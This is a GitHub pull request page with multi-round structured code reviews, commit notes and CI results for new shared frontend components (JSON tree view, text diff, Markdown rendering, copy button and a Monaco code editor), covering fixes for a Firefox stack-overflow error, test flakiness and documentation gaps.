Verdict: REQUEST CHANGES

Summary: Critical: 0 · High: 3 · Medium: 1 · Low: 1 · Lenses run: 19/19 (N/A where stated)

Prior context fetched: followup-fetch.sh exited 0 (6 of 6). The "since" boundary is adf196729 (round 3 review 5782990202).

Scope change: NO

Prior findings status (round 3)

  • #1 [Medium] Blocked CDN never fails → RESOLVED: loader watch at CodeEditor.tsx:120; test; mutant killed.
  • #2 [Medium] "Invalid JSON" for too-deep text → PARTIALLY RESOLVED: own title, but the RangeError-only catch misses Firefox; see new #1.
  • #3 [Medium] Diff limit docs → RESOLVED.
  • #4 [Low] Notes → RESOLVED.

New findings

1. [High] [Lens 3]: Firefox reports stack overflow as InternalError, so the RangeError-only catch rethrows and crashes the page

  • Location: frontend/src/v1/components/ui/code/JsonView.tsx:L106-L108, frontend/src/v1/lib/code/json-lines.ts:L307-L312
  • Suggested fix: one shared isTooDeep predicate covering both.
  • Confidence: High. Verification: UNVERIFIED in Firefox (MDN documents InternalError). Does a 20,000-deep document crash there?

2. [High] [Lens 13]: The editor tests leave an unhandled rejection from the real Monaco loader, so the suite exits 1 with every test passing

  • Location: frontend/src/v1/components/ui/code/CodeEditor.tsx:L128-L138
  • Failure mode: two concurrent first imports of the mocked module; one resolves to the real package, which injects the CDN script.
  • Confidence: High. Verification: VERIFIED (scoped run exit 1, Errors 1 error).

3. [High] [Lens 13]: The edit-limit test runs under the real 1 s timeout and fails under coverage load

  • Location: frontend/src/v1/lib/code/diff.test.ts:L69-L79
  • Confidence: High. Verification: VERIFIED (3 of 3 full-suite failures reported by the test agent).

4. [Medium] [Lens 16]: The README test-mock recipe lacks the loader export the editor now reads

  • Location: frontend/src/v1/components/ui/code/README.md:L204-L206
  • Confidence: High. Verification: VERIFIED by reading.

5. [Low] [Lens 2/13]: Notes

  • Location: frontend/src/v1/components/ui/code/CodeEditor.tsx:L131-L134
  • The cancellation guard is unreachable (and its test exercises a case the loader cannot produce); a comment sits on the wrong line in diff.test.ts; the too-deep title says "show" though the text is shown; the PR body is stale on the blocked CDN.
  • Verification: VERIFIED by reading the loader's makeCancelable.

Lens checklist

  1. Correctness — See findings #5
  2. Design — See findings #5
  3. Error handling — See findings #1
  4. Security — Clean
  5. Data integrity — Clean
  6. Concurrency — Clean
  7. API compatibility — N/A — no public API change in this delta
  8. Reliability — Clean
  9. Performance — Clean
  10. Observability — Clean
  11. Operational safety — N/A — no rollout or infrastructure change
  12. LLM/agent — N/A — no prompt or model configuration
  13. Testing — See findings #2, #3
  14. Dependencies — N/A — no dependency change in this delta
  15. Style/tooling — Clean
  16. Doc accuracy — See findings #4
  17. Cross-document consistency — Clean
  18. On-prem experience — N/A — no on-prem surface
  19. Scaling & workload lifecycle — N/A — no workload configuration

Open questions / assumptions

  • None.

- isTooDeep covers Firefox's InternalError as well as RangeError, for
  JsonView and formatJsonText.
- CodeEditor: one shared Monaco import for the lazy editor and the
  loader watch (two concurrent first imports let a test reach the real
  loader); the unreachable cancellation branch removed.
- Tests: the edit-limit test runs on a still clock; the loader is mocked
  in both editor test files; the suite now exits 0 with no unhandled
  errors.
- README mock recipe includes the loader; title wording.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

@ritwik-g ritwik-g left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Self-review round 5: review-deep (FOLLOWUP), tip 0ccfb21a4, delta 730e77109..0ccfb21a4

Review: /unstract:review-deep (review-shallow refuses: the PR changes dependencies). The delta is 9 files, +58/−26. Self-authored. Security deep-dive: done (full, no candidate at confidence 8). Boundary sweep: clean.

Verdict: APPROVE WITH NITS

Summary: Critical: 0 · High: 0 · Medium: 1 · Low: 2 · Lenses run: 19/19 (N/A where stated)

Prior context fetched: followup-fetch.sh exited 0 (6 of 6). The "since" boundary is 730e77109 (round 4 review 5783181867).

Scope change: NO

Prior findings status (round 4)

  • #1 [High] Firefox InternalError → RESOLVED: isTooDeep at json-lines.ts:298, used at both sites; predicate test kills both mutants.
  • #2 [High] Unhandled rejection from the real loader → RESOLVED: one shared importMonaco() (CodeEditor.tsx:30). The whole suite exits 0 with no Errors line on repeated runs; the loader mocks are now only a safeguard (removing them still passes).
  • #3 [High] Edit-limit test on the wall clock → RESOLVED: still clock (diff.test.ts:72); boundary mutant killed.
  • #4 [Medium] README mock recipe → RESOLVED.
  • #5 [Low] Notes → RESOLVED (unreachable cancellation branch and its test removed; comment moved; title wording).

New findings

1. [Medium] [Lens 16]: The isTooDeep docstring says "running out of stack"; it matches any RangeError or InternalError

  • Location: frontend/src/v1/lib/code/json-lines.ts:L294-L303
  • Failure mode: a shallow but enormous document (hundreds of MB, "Invalid string length") would be labelled "nested too deeply". No crash, and not a realistic input here.
  • Accepted: below the floor (a code comment; behaviour unchanged). It will be tightened in a later change rather than reopening review for a comment.
  • Verification: VERIFIED by reading.

2. [Low] [Lens 13]: No test feeds an InternalError through the call sites (only through the predicate)

  • Location: frontend/src/v1/components/ui/code/JsonView.tsx:L107
  • Accepted: the predicate is pinned both ways, and each call site is one line.
  • Verification: VERIFIED by mutation (M4 survives).

3. [Low] [Lens 2]: The memoised import's comment says what it does, not why (the test race and one shared rejection)

  • Location: frontend/src/v1/components/ui/code/CodeEditor.tsx:L29
  • Accepted: no failure mode.
  • Verification: VERIFIED by reading.

Lens checklist

  1. Correctness — Clean
  2. Design — See findings #3
  3. Error handling — Clean
  4. Security — Clean
  5. Data integrity — Clean
  6. Concurrency — Clean
  7. API compatibility — N/A — no public API change in this delta
  8. Reliability — Clean
  9. Performance — Clean
  10. Observability — Clean
  11. Operational safety — N/A — no rollout or infrastructure change
  12. LLM/agent — N/A — no prompt or model configuration
  13. Testing — See findings #2
  14. Dependencies — N/A — no dependency change in this delta
  15. Style/tooling — Clean
  16. Doc accuracy — See findings #1
  17. Cross-document consistency — Clean
  18. On-prem experience — N/A — no on-prem surface
  19. Scaling & workload lifecycle — N/A — no workload configuration

Ready test (self-review-loop)

  • Severity floor: nothing above it in this round.
  • Delta reviewed: this round covered the fixes from round 4, and none of its findings is above the floor.
  • Hard gates:
    • Each new guard is mutation-verified.
    • No invented fixture: the unreachable cancellation case was removed.
    • Each claim was reproduced, including suite exit codes.
    • No test was weakened.
    • All Highs are resolved; the Mediums and Lows above are accepted here.
  • Result: ready to mark ready for review.

Open questions / assumptions

  • None.

- JsonView: row clicks are handled once on the tree (no click handler on
  non-interactive rows).
- Markdown headings render their children explicitly.
- visibleLines no longer reassigns its loop counter.
- The three scrollable regions keep tabIndex (WCAG 2.1.1), marked NOSONAR
  with the reason.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

@ritwik-g ritwik-g left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Self-review round 6: review-deep (FOLLOWUP), tip 28b90e024, delta 0ccfb21a4..28b90e024

Review: /unstract:review-deep (review-shallow refuses: the PR changes dependencies). The delta is 5 files, +53/−44, and clears SonarCloud's reliability issues (the quality gate now passes). Agents dispatched by the table's triggers: code-reviewer, which also ran the focused tests (87 passed), and component lifecycle. silent-failure, test-analyzer, type-design and comment-analyzer were not dispatched: the delta changes no error handling, tests, types or substantive docs. Security deep-dive: done (full, no candidate). Boundary sweep: clean.

Verdict: APPROVE

Summary: Critical: 0 · High: 0 · Medium: 0 · Low: 0 · Lenses run: 19/19 (N/A where stated)

Prior context fetched: followup-fetch.sh exited 0 (6 of 6). The "since" boundary is 0ccfb21a4 (round 5 review 5783273126).

Scope change: NO

Prior findings status (round 5)

  • #1 [Medium] isTooDeep docstring → WAIVED: accepted in round 5 (below the floor).
  • #2 [Low] Call-site InternalError test → WAIVED: accepted in round 5.
  • #3 [Low] Memo comment → WAIVED: accepted in round 5.

New findings
None. Notes, below the floor:

  • onTreeClick's closest("[data-pos]") is not bounded to the tree. It would matter only if a host wrapped JsonView in an element with data-pos, and nothing does.
  • The rest are equivalence checks: delegation (the same commit's rows and data-pos), the visibleLines loop, and heading output all confirmed identical.

Lens checklist

  1. Correctness — Clean
  2. Design — Clean
  3. Error handling — Clean
  4. Security — Clean
  5. Data integrity — N/A — no data handling change in this delta
  6. Concurrency — Clean
  7. API compatibility — N/A — no public API change in this delta
  8. Reliability — Clean
  9. Performance — Clean
  10. Observability — N/A — no logging or metrics
  11. Operational safety — N/A — no rollout or infrastructure change
  12. LLM/agent — N/A — no prompt or model configuration
  13. Testing — Clean
  14. Dependencies — N/A — no dependency change in this delta
  15. Style/tooling — Clean
  16. Doc accuracy — Clean
  17. Cross-document consistency — Clean
  18. On-prem experience — N/A — no on-prem surface
  19. Scaling & workload lifecycle — N/A — no workload configuration

Ready test

  • Both conditions hold: the round 5 fix delta was reviewed in round 5 with nothing above the floor, and this round's delta returned nothing above the floor.
  • Hard gates: each guard is mutation-verified (earlier rounds); this delta's behaviour is pinned by the existing click and visibleLines tests. No fixture is invented, no test is weakened, and every High is resolved.
  • typecheck:v1, lint:v1 and test:v1 all exit 0, and the SonarCloud quality gate passes.
  • Ready.

@ritwik-g
ritwik-g marked this pull request as ready for review November 5, 2026 10:23
@greptile-apps

greptile-apps Bot commented Nov 5, 2026 •

Copy link
Copy Markdown
Contributor

via Greptile

RetriggerView in GreptileConfidence Score: 5/5

[Medium impact] The PR appears safe to merge; no actionable defects remain from this review.

Summary

Adds shared v1 components for code, JSON, diffs, Markdown, copying and editing, with helpers, theme tokens and tests.

  • Code snippets show highlighted lines, and inline code uses the shared mono style.
  • JSON can be explored as a tree or read as raw text.
  • Text comparisons show changes side by side or in one column.
  • Markdown renders with safe links and images that do not load by default.
  • Copy controls show whether copying worked or was unavailable.
  • The code editor loads Monaco on demand and follows the v1 theme.

Reviews (5) · Last reviewed commit: "Merge remote-tracking branch 'origin/mai..." · Reviewed by Greptile

- Markdown: fence names that are Object's own keys (constructor,
  __proto__) fall back to plain text.
- JsonView: a new document starts scrolled to the top, where its active
  row is.
- DiffView: gives up past 10,000 lines between the two texts, so long,
  nearly identical texts cannot render every row.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Comment thread frontend/src/v1/lib/code/diff.ts Resolved
Comment thread frontend/src/v1/lib/code/diff.ts Resolved
Comment thread frontend/src/v1/lib/code/diff.ts Resolved
@ritwik-g ritwik-g added the main-only Stays on main: not backported to a release line label Nov 6, 2026
ritwik-g and others added 4 commits November 6, 2026 16:22
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
- CodeEditor: options and the change handler are stable across renders;
  v1's own named themes; Monaco's one-theme-per-page limit documented.
- Markdown: react-markdown's depth prop no longer reaches ul/ol.
- Diff: each side split once; diffStats counts without building rows;
  DIFF_MAX_LINES lowered to 2,000 (rows render unwindowed); a change only
  in line endings reads 'Only line endings differ'.
- JsonView: the line-height token is re-read when the scroll element
  changes, and the virtualiser re-measures.
- CopyButton: no state or timer after it unmounts mid-copy.
- react-markdown's types come from a module stub mapped in the v1
  tsconfig; the global JSX re-declaration is gone.
- One plural() and one toolbar-button base shared across the module.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
- CodeEditor: the latest onChange ref is updated after commit, as
  DocumentViewer does.
- DiffStats.endingsOnly is required; 'Too large to compare' no longer
  says the texts differ; diff docs no longer overstate diffStats.
- CopyButton sets its inline result before calling onCopy.
- react-markdown stub: exports named as the package's (Options); header
  notes the root typecheck once @v1 reaches Markdown.
- Tests pin the themes' inherit flag and react-markdown's non-boolean
  props.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

@praveen-formido praveen-formido left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

All ten findings verified fixed at e14310a (threads resolved). The two places you went a different way, keeping v0's Monaco theme untouched with v1-named themes and lowering the diff cap to 2,000 lines instead of windowing, both hold for the consumers this PR serves. Approving.

@github-actions

github-actions Bot commented Nov 6, 2026

Copy link
Copy Markdown
Contributor

Frontend Lint Report (Biome)

✅ All checks passed! No linting or formatting issues found.

@sonarqubecloud

sonarqubecloud Bot commented Nov 6, 2026

Copy link
Copy Markdown

@github-actions

github-actions Bot commented Nov 6, 2026

Copy link
Copy Markdown
Contributor

Unstract test results

Per-group results

Status Group Tier Passed Failed Errors Skipped Duration (s)
⚪ e2e-agent-kv e2e 0 0 0 1 0.1
✅ e2e-api-deployment e2e 3 0 0 0 11.8
✅ e2e-coowners e2e 1 0 0 0 1.4
✅ e2e-etl e2e 1 0 0 0 16.0
✅ e2e-login e2e 2 0 0 0 1.0
✅ e2e-prompt-studio e2e 1 0 0 0 14.6
✅ e2e-smoke e2e 2 0 0 0 2.0
✅ e2e-workflow e2e 1 0 0 0 16.0
❌ ui e2e 0 1 0 0 0.0
TOTAL 11 1 0 1 62.8

Critical paths

⚠️ Critical paths not yet covered

  • workflow-execution-fan-out — Multi-file workflow execution fans out to file-processing workers and rejoins. (declared coverage: no groups declared)
💤 Covered, but not exercised in this build
  • adapter-register-llm — Register and validate an LLM adapter. (covered by integration-backend; no result reported in this build)
  • workflow-author — Create a workflow; its source+destination endpoints materialise and are configurable. (covered by integration-backend; no result reported in this build)
  • api-deployment-provision — Deploying a workflow as an API mints a usable key and a resolvable endpoint. (covered by integration-backend; no result reported in this build)
  • api-deployment-auth — Unauthenticated or mis-scoped API-deployment calls are rejected before dispatch. (covered by integration-backend; no result reported in this build)
  • mcp-server-auth — Unauthenticated or mis-scoped hosted-MCP calls are rejected before any tool runs. (covered by integration-backend; no result reported in this build)
  • mcp-platform-auth — The org-scoped MCP endpoint stays behind the platform-API-key middleware; unauthenticated or mis-scoped calls reach no tool. (covered by integration-backend; no result reported in this build)
  • platform-key-whoami — A platform API key resolves its own organisation over the org-less whoami endpoint; the org comes from the key row, not the URL. (covered by integration-backend; no result reported in this build)
  • prompt-studio-author — Create a Prompt Studio project and add a prompt to it. (covered by integration-backend; no result reported in this build)
  • connector-register-test — Connector credentials are validated against the live system and stored encrypted. (covered by integration-backend; no result reported in this build)
  • usage-aggregate-read — Per-run token usage aggregates correctly and stays scoped to its organization. (covered by integration-backend; no result reported in this build)
✅ Covered critical paths
  • auth-login — covered by e2e-login
  • co-owner-manage — covered by e2e-coowners
  • workflow-create-execute — covered by e2e-workflow
  • api-deployment-run — covered by e2e-api-deployment
  • prompt-studio-fetch-response — covered by e2e-prompt-studio
  • pipeline-etl-execute — covered by e2e-etl
  • usage-token-tracking — covered by e2e-api-deployment
  • callback-result-delivery — covered by e2e-api-deployment

@ritwik-g
ritwik-g merged commit 2164d7b into main Nov 6, 2026
20 checks passed
@ritwik-g
ritwik-g deleted the UN-4400-v1-code-data branch November 6, 2026 16:25
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

main-only Stays on main: not backported to a release line

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants